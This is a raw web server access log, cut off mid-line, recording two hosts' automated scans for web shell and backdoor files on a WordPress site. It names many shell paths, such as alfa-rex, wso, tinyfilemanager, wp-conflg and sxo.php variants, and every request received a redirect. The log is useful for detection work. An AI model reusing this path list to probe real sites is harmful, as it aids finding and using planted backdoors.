[03/Apr/2025:20:51:34 -0400] "GET /as/dichku.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:36 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:37 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:38 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:39 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:40 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:41 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:42 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:43 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:45 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:46 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:47 -0400] "GET /.well-known/pki-validation/gNvSu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:48 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:49 -0400] "GET /wp-includes/class-wp-error-get.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:50 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:51 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:52 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:54 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:55 -0400] "GET /about/dichku.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:56 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:57 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:58 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:59 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:00 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:02 -0400] "GET /wp-includes/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:03 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:04 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:05 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:07 -0400] "GET /wp-admin/css/colors/min.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:08 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:09 -0400] "GET /wp-mjdlxw.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:10 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:11 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:13 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:14 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:15 -0400] "GET /wp-includes/ID3/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:17 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:18 -0400] "GET /about/sim.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:19 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:20 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:21 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:23 -0400] "GET /css/vidorda.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:24 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:25 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:26 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:27 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:29 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:30 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:31 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:32 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:34 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:35 -0400] "GET /images/sdivjcb_oXpICfri.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:36 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:37 -0400] "GET /MARIJUANA/icon.png HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:39 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:40 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:41 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:42 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:43 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:45 -0400] "GET /.well-known/2018wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:46 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:47 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:48 -0400] "GET /wp-includes/customize/class-wp-customize-background-image-control-get.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:50 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:51 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:52 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:54 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:55 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:56 -0400] "GET /wp-includes/Requests/SSL-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:57 -0400] "GET /wp-admin/js/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:58 -0400] "GET /.well-known/utchiha_1GB6q7Of.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:52:59 -0400] "GET /css/bladeacss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:00 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:02 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:03 -0400] "GET /wp-content/languages/fr_FR.110.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:04 -0400] "GET /.well-known/zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:05 -0400] "GET /wp-content/themes/digital-download/f35.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:06 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:07 -0400] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:08 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:10 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:11 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:12 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:13 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:14 -0400] "GET /templates/beez3/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:15 -0400] "GET /images/controller.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:16 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:17 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:18 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:19 -0400] "GET /wp-includes/SimplePie/x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:20 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:22 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:23 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:24 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:25 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:26 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:28 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:29 -0400] "GET /wp-content/plugins/fix/b.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:30 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:31 -0400] "GET /wp-admin/includes/8UuzwN.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:32 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:33 -0400] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:35 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:36 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:37 -0400] "GET /wp-includes/class-wp-block-parser-index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:38 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:39 -0400] "GET /js/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:40 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:42 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:43 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:44 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:45 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:47 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:48 -0400] "GET /wp-admin/images/logo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:49 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:50 -0400] "GET /wp-includes/Requests/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:51 -0400] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:52 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:53 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:54 -0400] "GET /wp-admin/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:56 -0400] "GET /zex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:57 -0400] "GET /check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:58 -0400] "GET /wp-content/uploads/2025/03/csibhodyxk_pnushir.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:53:59 -0400] "GET /wp-content/plugins/ubh/zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:00 -0400] "GET /wp-content/themes/twentytwentythree/patterns/hidden-404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:01 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:02 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:04 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:05 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:06 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:07 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:08 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:09 -0400] "GET /luf288xop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:10 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:11 -0400] "GET /cruzmiiw.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:13 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:14 -0400] "GET /rafa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:15 -0400] "GET /wp-content/plugins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:16 -0400] "GET /wp-press.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:17 -0400] "GET /wp-content/plugins/pwnd/nakrip.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:19 -0400] "GET /dox.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:20 -0400] "GET /wp-harri.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:21 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:22 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.phpp HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:23 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:25 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:26 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:28 -0400] "GET /wp-includes/js/crop/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:29 -0400] "GET /cgi-bin/nmyip.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:30 -0400] "GET /index/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:31 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:32 -0400] "GET /wp-admin/maint/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:34 -0400] "GET /wp-content/upgrade/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:35 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:36 -0400] "GET /wp-includes/rest-api/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:37 -0400] "GET /wp-admin/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:38 -0400] "GET /wp-content/plugins/erinyani/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:39 -0400] "GET /about/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:40 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:42 -0400] "GET /wp-admin/css/colors/blue/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:43 -0400] "GET /wp-content/plugins/background-image-cropper/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:44 -0400] "GET /wp-admin/js/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:45 -0400] "GET /wp-content/plugins/pwnd/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:46 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:47 -0400] "GET /wp-includes/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:48 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:49 -0400] "GET /js/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:51 -0400] "GET /wp-content/BypassBest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:52 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:53 -0400] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:54 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:56 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:57 -0400] "GET /wp-includes/js/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:58 -0400] "GET /chosen/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:54:59 -0400] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:00 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:02 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:04 -0400] "GET /.well-known/pki-validation/65afag.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:05 -0400] "GET /.well-known/awraulub.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:06 -0400] "GET /.well-known/pki-validation/lmfi2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:07 -0400] "GET /img/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:55:08 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 13.74.103.50 - - [03/Apr/2025:20:58:34 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:35 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:36 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:36 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:37 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:37 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:37 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:38 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:40 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:40 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:41 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:41 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:41 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:42 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:42 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:43 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:43 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:45 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:45 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:46 -0400] "GET /widgets.php 